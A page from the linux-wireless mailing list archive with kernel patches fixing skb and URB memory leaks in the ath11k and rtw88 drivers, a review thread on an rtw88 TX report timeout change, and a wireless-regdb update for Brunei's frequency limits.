struct sk_buff *skb;
__le64 replay_ctr;
@@ -9917,14 +9964,20 @@ int ath11k_wmi_gtk_rekey_offload(struct ath11k *ar,
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "offload gtk rekey vdev: %d %d\n",
arvif->vdev_id, enable);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_GTK_OFFLOAD_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_GTK_OFFLOAD_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_GTK_OFFLOAD_CMDID offload\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_gtk_rekey_getinfo(struct ath11k *ar,
struct ath11k_vif *arvif)
{
struct wmi_gtk_rekey_offload_cmd *cmd;
- int len;
+ int ret, len;
struct sk_buff *skb;
len = sizeof(*cmd);
@@ -9941,7 +9994,13 @@ int ath11k_wmi_gtk_rekey_getinfo(struct ath11k *ar,
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "get gtk rekey vdev_id: %d\n",
arvif->vdev_id);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_GTK_OFFLOAD_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_GTK_OFFLOAD_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_GTK_OFFLOAD_CMDID getinfo\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_pdev_set_bios_sar_table_param(struct ath11k *ar, const u8 *sar_val)
@@ -9951,6 +10010,7 @@ int ath11k_wmi_pdev_set_bios_sar_table_param(struct ath11k *ar, const u8 *sar_va
struct sk_buff *skb;
u8 *buf_ptr;
u32 len, sar_len_aligned, rsvd_len_aligned;
+ int ret;
sar_len_aligned = roundup(BIOS_SAR_TABLE_LEN, sizeof(u32));
rsvd_len_aligned = roundup(BIOS_SAR_RSVD1_LEN, sizeof(u32));
@@ -9981,7 +10041,13 @@ int ath11k_wmi_pdev_set_bios_sar_table_param(struct ath11k *ar, const u8 *sar_va
tlv->header = FIELD_PREP(WMI_TLV_TAG, WMI_TAG_ARRAY_BYTE) |
FIELD_PREP(WMI_TLV_LEN, rsvd_len_aligned);
- return ath11k_wmi_cmd_send(wmi, skb, WMI_PDEV_SET_BIOS_SAR_TABLE_CMDID);
+ ret = ath11k_wmi_cmd_send(wmi, skb, WMI_PDEV_SET_BIOS_SAR_TABLE_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_PDEV_SET_BIOS_SAR_TABLE_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_pdev_set_bios_geo_table_param(struct ath11k *ar)
@@ -9992,6 +10058,7 @@ int ath11k_wmi_pdev_set_bios_geo_table_param(struct ath11k *ar)
struct sk_buff *skb;
u8 *buf_ptr;
u32 len, rsvd_len_aligned;
+ int ret;
rsvd_len_aligned = roundup(BIOS_SAR_RSVD2_LEN, sizeof(u32));
len = sizeof(*cmd) + TLV_HDR_SIZE + rsvd_len_aligned;
@@ -10011,7 +10078,13 @@ int ath11k_wmi_pdev_set_bios_geo_table_param(struct ath11k *ar)
tlv->header = FIELD_PREP(WMI_TLV_TAG, WMI_TAG_ARRAY_BYTE) |
FIELD_PREP(WMI_TLV_LEN, rsvd_len_aligned);
- return ath11k_wmi_cmd_send(wmi, skb, WMI_PDEV_SET_BIOS_GEO_TABLE_CMDID);
+ ret = ath11k_wmi_cmd_send(wmi, skb, WMI_PDEV_SET_BIOS_GEO_TABLE_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_PDEV_SET_BIOS_GEO_TABLE_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_sta_keepalive(struct ath11k *ar,
@@ -10022,6 +10095,7 @@ int ath11k_wmi_sta_keepalive(struct ath11k *ar,
struct wmi_sta_keepalive_arp_resp *arp;
struct sk_buff *skb;
size_t len;
+ int ret;
len = sizeof(*cmd) + sizeof(*arp);
skb = ath11k_wmi_alloc_skb(wmi->wmi_ab, len);
@@ -10053,7 +10127,13 @@ int ath11k_wmi_sta_keepalive(struct ath11k *ar,
"sta keepalive vdev %d enabled %d method %d interval %d\n",
arg->vdev_id, arg->enabled, arg->method, arg->interval);
- return ath11k_wmi_cmd_send(wmi, skb, WMI_STA_KEEPALIVE_CMDID);
+ ret = ath11k_wmi_cmd_send(wmi, skb, WMI_STA_KEEPALIVE_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_STA_KEEPALIVE_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
bool ath11k_wmi_supports_6ghz_cc_ext(struct ath11k *ar)
--
2.53.0
^ permalink raw reply related
* [PATCH 1/2] wifi: ath11k: fix error path leaks in some WMI WOW calls
From: Nicolas Escande @ 2026-05-02 7:14 UTC (permalink / raw)
To: ath11k; +Cc: linux-wireless
In-Reply-To: <20260502071453.2379188-1-nico.escande@gmail.com>
Fix two instances where we used to directly return the result of
ath11k_wmi_cmd_send(...). Because we did not check the return value, we
also did not free the skb in the error path.
Fixes: 79802b13a492 ("ath11k: implement WoW enable and wakeup commands")
Signed-off-by: Nicolas Escande <nico.escande@gmail.com>
---
drivers/net/wireless/ath/ath11k/wmi.c | 19 ++++++++++++++++---
1 file changed, 16 insertions(+), 3 deletions(-)
diff --git a/drivers/net/wireless/ath/ath11k/wmi.c b/drivers/net/wireless/ath/ath11k/wmi.c
index 40747fba3b0c..024c2aad9fb4 100644
--- a/drivers/net/wireless/ath/ath11k/wmi.c
+++ b/drivers/net/wireless/ath/ath11k/wmi.c
@@ -9332,6 +9332,7 @@ int ath11k_wmi_wow_host_wakeup_ind(struct ath11k *ar)
struct wmi_wow_host_wakeup_ind *cmd;
struct sk_buff *skb;
size_t len;
+ int ret;
len = sizeof(*cmd);
skb = ath11k_wmi_alloc_skb(ar->wmi->wmi_ab, len);
@@ -9345,14 +9346,20 @@ int ath11k_wmi_wow_host_wakeup_ind(struct ath11k *ar)
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "tlv wow host wakeup ind\n");
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_HOSTWAKEUP_FROM_SLEEP_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_HOSTWAKEUP_FROM_SLEEP_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_WOW_HOSTWAKEUP_FROM_SLEEP_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_wow_enable(struct ath11k *ar)
{
struct wmi_wow_enable_cmd *cmd;
struct sk_buff *skb;
- int len;
+ int ret, len;
len = sizeof(*cmd);
skb = ath11k_wmi_alloc_skb(ar->wmi->wmi_ab, len);
@@ -9367,7 +9374,13 @@ int ath11k_wmi_wow_enable(struct ath11k *ar)
cmd->pause_iface_config = WOW_IFACE_PAUSE_ENABLED;
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "tlv wow enable\n");
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_ENABLE_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_ENABLE_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_WOW_ENABLE_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_scan_prob_req_oui(struct ath11k *ar,
--
2.53.0
^ permalink raw reply related
* [PATCH ath 0/2] fix leaks in some WMI error path
From: Nicolas Escande @ 2026-05-02 7:14 UTC (permalink / raw)
To: ath11k; +Cc: linux-wireless
So this is similar work to what has been posted here [0] for ath12k.
When we use the pattern 'return ath11k_wmi_cmd_send(...)' without
explicitly checking the return value we fail to free the allocated skb.
This has been split into 2 patches per Jeff's guidance to hopefully
ease the backporting process.
[0] https://lore.kernel.org/linux-wireless/20260422163258.3013872-1-nico.escande@gmail.com/
Nicolas Escande (2):
wifi: ath11k: fix leak in error path of some WOW related WMI commands
wifi: ath11k: fix error path leaks in some WMI calls
drivers/net/wireless/ath/ath11k/wmi.c | 131 ++++++++++++++++++++++----
1 file changed, 112 insertions(+), 19 deletions(-)
--
2.53.0
^ permalink raw reply
* Re: [PATCH] wifi: rtw88: increase TX report timeout to fix race condition
From: Luka Gejak @ 2026-05-01 21:33 UTC (permalink / raw)
To: Bitterblue Smith, Ping-Ke Shih, Kalle Valo
Cc: Yan-Hsuan Chuang, Brian Norris, Stanislaw Gruszka, linux-wireless,
linux-kernel, stable, luka.gejak
In-Reply-To: <bc0a9969-b386-42d1-ada2-99ac39e394f3@gmail.com>
On May 1, 2026 11:28:38 PM GMT+02:00, Bitterblue Smith <rtl8821cerfe2@gmail.com> wrote:
>On 01/05/2026 23:46, Luka Gejak wrote:
>> On May 1, 2026 9:26:30 PM GMT+02:00, Bitterblue Smith <rtl8821cerfe2@gmail.com> wrote:
>>> On 01/05/2026 18:04, luka.gejak@linux.dev wrote:
>>>> From: Luka Gejak <luka.gejak@linux.dev>
>>>>
>>>> The driver expects the firmware to report TX status within 500ms.
>>>> However, a race condition exists when the hardware is under heavy TX
>>>> load and is simultaneously interrupted by background scans or
>>>> power-saving state transitions. During these events, the firmware may
>>>> go off-channel for longer than 500ms, delaying the TX reports.
>>>>
>> Hi Bitterblue,
>> thanks for the review.
>>>
>>> But power saving state transitions should not happen during heavy TX load.
>>>
>> You are absolutely right that power save transitions don't happen
>> during heavy TX. The issue is strictly tied to off-channel dwell time.
>> I reliably trigger this on my rtl8723du (USB) by forcing background
>> scans (iw dev wlanX scan) while under heavy iperf3 load. The firmware
>> goes off-channel to scan, which delays the TX report well beyond the
>> current 500ms threshold.
>>
>>>> When this happens, the purge timer fires prematurely, dropping the
>>>> tracking skbs from the queue and spamming the kernel log with:
>>>> "failed to get tx report from firmware". Dropping these tracking skbs
>>>> prevents the driver from reporting TX status back to mac80211, which
>>>> breaks rate control accounting and degrades performance.
>>>>
>>>
>>> But mac80211 doesn't handle rate control for these chips. How much does
>>> performance degrade?
>>>
>>
>> I understand the firmware handles that internally. The performance
>> degradation I am actually seeing is TCP window collapse, as the host
>> stack interprets the dropped tracking skbs as packet loss. In my
>> testing with iperf3, throughput drops from a steady 80-90 Mbps to
>> near-zero for nearly 2 seconds following the scan before recovery
>> begins.
>>
>>>> Increase RTW_TX_PROBE_TIMEOUT to 2500ms. This timeout is large enough
>>>> to comfortably accommodate the duration of full WiFi background scans
>>>> and sleep transitions without incorrectly tripping the purge timer,
>>>> while still eventually catching true firmware lockups.
>>>>
>>>
>>> rtw88 supports many chips. Which one are you using?
>>>
>>> Perhaps provide a full description of the problem you encountered.
>>>
>>
>> ...
>>
>> I also realize now that globally changing RTW_TX_PROBE_TIMEOUT to
>> 2500ms is too heavy-handed. Since this impacts all rtw88 chips,
>> including PCIe variants where 500ms might be exactly what is needed to
>> catch a real firmware lockup, the blast radius is too large. How would
>> you prefer I handle this for the v2 patch? I can either implement a
>> more conservative global bump, or make the timeout dynamic based on
>> the HCI interface so USB devices get a longer timeout to accommodate
>> the bus latency during scans.
>>
>> Best regards,
>> Luka Gejak
>
>No idea, I'm just asking some questions...
>
>Actually, I have one more: what version of the driver did you test?
>
>My quick test with RTL8723DU doesn't show any "failed to get tx report
>from firmware" when scanning while running iperf3. Does it take a long
>time to trigger?
I am testing against the latest wireless-next tree.
You are correct that it is an intermittent race condition, which
explains why it doesn't appear in every test run. To reproduce this, I
use a script to sustain heavy TX load while forcing background scans
in a loop. Under this stress, it typically manifests after a few
minutes of operation.
Best regards,
Luka Gejak
^ permalink raw reply
* Re: [PATCH] wifi: rtw88: increase TX report timeout to fix race condition
From: Bitterblue Smith @ 2026-05-01 21:28 UTC (permalink / raw)
To: Luka Gejak, Ping-Ke Shih, Kalle Valo
Cc: Yan-Hsuan Chuang, Brian Norris, Stanislaw Gruszka, linux-wireless,
linux-kernel, stable
In-Reply-To: <6CD170FE-CAED-4B91-AEED-A1AFB98FFE8A@linux.dev>
On 01/05/2026 23:46, Luka Gejak wrote:
> On May 1, 2026 9:26:30 PM GMT+02:00, Bitterblue Smith <rtl8821cerfe2@gmail.com> wrote:
>> On 01/05/2026 18:04, luka.gejak@linux.dev wrote:
>>> From: Luka Gejak <luka.gejak@linux.dev>
>>>
>>> The driver expects the firmware to report TX status within 500ms.
>>> However, a race condition exists when the hardware is under heavy TX
>>> load and is simultaneously interrupted by background scans or
>>> power-saving state transitions. During these events, the firmware may
>>> go off-channel for longer than 500ms, delaying the TX reports.
>>>
> Hi Bitterblue,
> thanks for the review.
>>
>> But power saving state transitions should not happen during heavy TX load.
>>
> You are absolutely right that power save transitions don't happen
> during heavy TX. The issue is strictly tied to off-channel dwell time.
> I reliably trigger this on my rtl8723du (USB) by forcing background
> scans (iw dev wlanX scan) while under heavy iperf3 load. The firmware
> goes off-channel to scan, which delays the TX report well beyond the
> current 500ms threshold.
>
>>> When this happens, the purge timer fires prematurely, dropping the
>>> tracking skbs from the queue and spamming the kernel log with:
>>> "failed to get tx report from firmware". Dropping these tracking skbs
>>> prevents the driver from reporting TX status back to mac80211, which
>>> breaks rate control accounting and degrades performance.
>>>
>>
>> But mac80211 doesn't handle rate control for these chips. How much does
>> performance degrade?
>>
>
> I understand the firmware handles that internally. The performance
> degradation I am actually seeing is TCP window collapse, as the host
> stack interprets the dropped tracking skbs as packet loss. In my
> testing with iperf3, throughput drops from a steady 80-90 Mbps to
> near-zero for nearly 2 seconds following the scan before recovery
> begins.
>
>>> Increase RTW_TX_PROBE_TIMEOUT to 2500ms. This timeout is large enough
>>> to comfortably accommodate the duration of full WiFi background scans
>>> and sleep transitions without incorrectly tripping the purge timer,
>>> while still eventually catching true firmware lockups.
>>>
>>
>> rtw88 supports many chips. Which one are you using?
>>
>> Perhaps provide a full description of the problem you encountered.
>>
>
> ...
>
> I also realize now that globally changing RTW_TX_PROBE_TIMEOUT to
> 2500ms is too heavy-handed. Since this impacts all rtw88 chips,
> including PCIe variants where 500ms might be exactly what is needed to
> catch a real firmware lockup, the blast radius is too large. How would
> you prefer I handle this for the v2 patch? I can either implement a
> more conservative global bump, or make the timeout dynamic based on
> the HCI interface so USB devices get a longer timeout to accommodate
> the bus latency during scans.
>
> Best regards,
> Luka Gejak
No idea, I'm just asking some questions...
Actually, I have one more: what version of the driver did you test?
My quick test with RTL8723DU doesn't show any "failed to get tx report
from firmware" when scanning while running iperf3. Does it take a long
time to trigger?
^ permalink raw reply
* Re: [PATCH] wifi: rtw88: increase TX report timeout to fix race condition
From: Luka Gejak @ 2026-05-01 20:46 UTC (permalink / raw)
To: Bitterblue Smith, Ping-Ke Shih, Kalle Valo
Cc: Yan-Hsuan Chuang, Brian Norris, Stanislaw Gruszka, linux-wireless,
linux-kernel, stable, luka.gejak
In-Reply-To: <72f6fffd-bd77-437f-a9d9-6a542a8b365b@gmail.com>
On May 1, 2026 9:26:30 PM GMT+02:00, Bitterblue Smith <rtl8821cerfe2@gmail.com> wrote:
>On 01/05/2026 18:04, luka.gejak@linux.dev wrote:
>> From: Luka Gejak <luka.gejak@linux.dev>
>>
>> The driver expects the firmware to report TX status within 500ms.
>> However, a race condition exists when the hardware is under heavy TX
>> load and is simultaneously interrupted by background scans or
>> power-saving state transitions. During these events, the firmware may
>> go off-channel for longer than 500ms, delaying the TX reports.
>>
Hi Bitterblue,
thanks for the review.
>
>But power saving state transitions should not happen during heavy TX load.
>
You are absolutely right that power save transitions don't happen
during heavy TX. The issue is strictly tied to off-channel dwell time.
I reliably trigger this on my rtl8723du (USB) by forcing background
scans (iw dev wlanX scan) while under heavy iperf3 load. The firmware
goes off-channel to scan, which delays the TX report well beyond the
current 500ms threshold.
>> When this happens, the purge timer fires prematurely, dropping the
>> tracking skbs from the queue and spamming the kernel log with:
>> "failed to get tx report from firmware". Dropping these tracking skbs
>> prevents the driver from reporting TX status back to mac80211, which
>> breaks rate control accounting and degrades performance.
>>
>
>But mac80211 doesn't handle rate control for these chips. How much does
>performance degrade?
>
I understand the firmware handles that internally. The performance
degradation I am actually seeing is TCP window collapse, as the host
stack interprets the dropped tracking skbs as packet loss. In my
testing with iperf3, throughput drops from a steady 80-90 Mbps to
near-zero for nearly 2 seconds following the scan before recovery
begins.
>> Increase RTW_TX_PROBE_TIMEOUT to 2500ms. This timeout is large enough
>> to comfortably accommodate the duration of full WiFi background scans
>> and sleep transitions without incorrectly tripping the purge timer,
>> while still eventually catching true firmware lockups.
>>
>
>rtw88 supports many chips. Which one are you using?
>
>Perhaps provide a full description of the problem you encountered.
>
...
I also realize now that globally changing RTW_TX_PROBE_TIMEOUT to
2500ms is too heavy-handed. Since this impacts all rtw88 chips,
including PCIe variants where 500ms might be exactly what is needed to
catch a real firmware lockup, the blast radius is too large. How would
you prefer I handle this for the v2 patch? I can either implement a
more conservative global bump, or make the timeout dynamic based on
the HCI interface so USB devices get a longer timeout to accommodate
the bus latency during scans.
Best regards,
Luka Gejak
^ permalink raw reply
* Re: [PATCH] wifi: rtw88: increase TX report timeout to fix race condition
From: Bitterblue Smith @ 2026-05-01 19:26 UTC (permalink / raw)
To: luka.gejak, Ping-Ke Shih, Kalle Valo
Cc: Yan-Hsuan Chuang, Brian Norris, Stanislaw Gruszka, linux-wireless,
linux-kernel, stable
In-Reply-To: <20260501150402.227788-1-luka.gejak@linux.dev>
On 01/05/2026 18:04, luka.gejak@linux.dev wrote:
> From: Luka Gejak <luka.gejak@linux.dev>
>
> The driver expects the firmware to report TX status within 500ms.
> However, a race condition exists when the hardware is under heavy TX
> load and is simultaneously interrupted by background scans or
> power-saving state transitions. During these events, the firmware may
> go off-channel for longer than 500ms, delaying the TX reports.
>
But power saving state transitions should not happen during heavy TX load.
> When this happens, the purge timer fires prematurely, dropping the
> tracking skbs from the queue and spamming the kernel log with:
> "failed to get tx report from firmware". Dropping these tracking skbs
> prevents the driver from reporting TX status back to mac80211, which
> breaks rate control accounting and degrades performance.
>
But mac80211 doesn't handle rate control for these chips. How much does
performance degrade?
> Increase RTW_TX_PROBE_TIMEOUT to 2500ms. This timeout is large enough
> to comfortably accommodate the duration of full WiFi background scans
> and sleep transitions without incorrectly tripping the purge timer,
> while still eventually catching true firmware lockups.
>
rtw88 supports many chips. Which one are you using?
Perhaps provide a full description of the problem you encountered.
> Fixes: e3037485c68e ("rtw88: new Realtek 802.11ac driver")
> Cc: stable@vger.kernel.org
> Tested-by: Luka Gejak <luka.gejak@linux.dev>
> Signed-off-by: Luka Gejak <luka.gejak@linux.dev>
> ---
> drivers/net/wireless/realtek/rtw88/tx.h | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/drivers/net/wireless/realtek/rtw88/tx.h b/drivers/net/wireless/realtek/rtw88/tx.h
> index d34cdeca16f1..95d15e4f5d34 100644
> --- a/drivers/net/wireless/realtek/rtw88/tx.h
> +++ b/drivers/net/wireless/realtek/rtw88/tx.h
> @@ -7,7 +7,7 @@
>
> #define RTK_TX_MAX_AGG_NUM_MASK 0x1f
>
> -#define RTW_TX_PROBE_TIMEOUT msecs_to_jiffies(500)
> +#define RTW_TX_PROBE_TIMEOUT msecs_to_jiffies(2500)
>
> struct rtw_tx_desc {
> __le32 w0;
^ permalink raw reply
* [PATCH v2] wireless-regdb: Update regulatory info for Brunei Darussalam (BN) for 2022
From: hfzz7 @ 2026-05-01 17:25 UTC (permalink / raw)
To: linux-wireless; +Cc: wireless-regdb, Hafiz Zafran
In-Reply-To: <20260501153303.8521-1-hfzz7@duck.com>
In 2022, Authority for Info-communications Technology Industry of Brunei
Darussalam (AITI) updated The Brunei Darussalam Radio Spectrum Plan. [1]
* 2400-2483.5 MHz
- 200 mW
* 5150-5350 MHz
- 1000 mW
(For 5250-5.350 MHz, DFS and TPC are required)
* 5470-5725 MHz
- 1000 mW
- DFS
- TPC
* 5725-5850 MHz
- 4000 mW
Also, add regulatory info for WiGig/60 GHz
* 57000-66000 MHz
- 10 W / 10000 mW
Note: According to the Telecommunications (Radio-communication) Regulations,
2013 of the Telecommunications Order, 2001 (S 38/2001), "non-localised use"
refers to the operations of specified radio-communication equipment or network
at a specific frequency or in any specified frequency within the whole of
Brunei Darussalam. [2]
[1] https://aiti.gov.bn/media/planjc1p/bd-radio-spectrum-plan-2019.pdf
[2] https://www.agc.gov.bn/AGC%20Images/LAWS/Gazette_PDF/2013/EN/s086.pdf
Signed-off-by: Hafiz Zafran <hfzz7@duck.com>
---
Changes since v1:
- fix grammar issues on the commit message
- adjust transmit power limit to 500 mW for frequencies that
require TPC
- add INDOOR-ONLY flag to WiGig, as per review
---
db.txt | 15 ++++++++++-----
1 file changed, 10 insertions(+), 5 deletions(-)
diff --git a/db.txt b/db.txt
index 3252521..2de3281 100644
--- a/db.txt
+++ b/db.txt
@@ -326,11 +326,16 @@ country BM: DFS-FCC
(5490 - 5730 @ 160), (24), DFS
(5735 - 5835 @ 80), (30)
-country BN: DFS-JP
- (2402 - 2482 @ 40), (20)
- (5170 - 5250 @ 80), (20), AUTO-BW
- (5250 - 5330 @ 80), (20), DFS, AUTO-BW
- (5735 - 5835 @ 80), (20)
+# Source:
+# https://aiti.gov.bn/media/planjc1p/bd-radio-spectrum-plan-2019.pdf
+# Section 7.5, Page 244-251
+country BN: DFS-FCC
+ (2400 - 2483.5 @ 40), (200 mW)
+ (5150 - 5250 @ 80), (1000 mW), AUTO-BW
+ (5250 - 5350 @ 80), (500 mW), DFS, AUTO-BW
+ (5470 - 5730 @ 160), (500 mW), DFS
+ (5725 - 5850 @ 80), (4000 mW), AUTO-BW
+ (57000 - 66000 @ 2160), (10000 mW), INDOOR-ONLY
country BO: DFS-JP
(2402 - 2482 @ 40), (20)
--
2.54.0
^ permalink raw reply related
* [PATCH] wifi: rtw88: usb: fix memory leaks on USB write failures
From: luka.gejak @ 2026-05-01 16:20 UTC (permalink / raw)
To: Ping-Ke Shih, Kalle Valo
Cc: Stanislaw Gruszka, Yan-Hsuan Chuang, Brian Norris, linux-wireless,
linux-kernel, Luka Gejak, stable
From: Luka Gejak <luka.gejak@linux.dev>
When rtw_usb_write_port() fails to submit a USB Request Block (URB)
(e.g., due to device disconnect or ENOMEM), the completion callback is
never executed.
Currently, the driver ignores the return value of rtw_usb_write_port()
in rtw_usb_write_data() and rtw_usb_tx_agg_skb(). Because these
functions rely on the completion callback to free the socket buffers
(skbs) and the transaction control block (txcb), a submission failure
results in:
1. A memory leak of the allocated skb in rtw_usb_write_data().
2. A memory leak of the txcb structure and all aggregated skbs in
rtw_usb_tx_agg_skb().
Fix this by checking the return value of rtw_usb_write_port(). If it
fails, explicitly free the skb in rtw_usb_write_data(), and properly
purge the tx_ack_queue and free the txcb in rtw_usb_tx_agg_skb().
Fixes: e3037485c68e ("rtw88: new Realtek 802.11ac driver")
Cc: stable@vger.kernel.org
Tested-by: Luka Gejak <luka.gejak@linux.dev>
Signed-off-by: Luka Gejak <luka.gejak@linux.dev>
---
drivers/net/wireless/realtek/rtw88/usb.c | 12 ++++++++++--
1 file changed, 10 insertions(+), 2 deletions(-)
diff --git a/drivers/net/wireless/realtek/rtw88/usb.c b/drivers/net/wireless/realtek/rtw88/usb.c
index 718940ebba31..d430645a3ef3 100644
--- a/drivers/net/wireless/realtek/rtw88/usb.c
+++ b/drivers/net/wireless/realtek/rtw88/usb.c
@@ -456,7 +456,13 @@ static bool rtw_usb_tx_agg_skb(struct rtw_usb *rtwusb, struct sk_buff_head *list
tx_desc = (struct rtw_tx_desc *)skb_head->data;
qsel = le32_get_bits(tx_desc->w1, RTW_TX_DESC_W1_QSEL);
- rtw_usb_write_port(rtwdev, qsel, skb_head, rtw_usb_write_port_tx_complete, txcb);
+ if (rtw_usb_write_port(rtwdev, qsel, skb_head,
+ rtw_usb_write_port_tx_complete, txcb)) {
+ /* URB submission failed, completion won't run, free the queue */
+ skb_queue_purge(&txcb->tx_ack_queue);
+ kfree(txcb);
+ return false;
+ }
return true;
}
@@ -518,8 +524,10 @@ static int rtw_usb_write_data(struct rtw_dev *rtwdev,
ret = rtw_usb_write_port(rtwdev, qsel, skb,
rtw_usb_write_port_complete, skb);
- if (unlikely(ret))
+ if (unlikely(ret)) {
rtw_err(rtwdev, "failed to do USB write, ret=%d\n", ret);
+ dev_kfree_skb_any(skb);
+ }
return ret;
}
--
2.54.0
^ permalink raw reply related
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox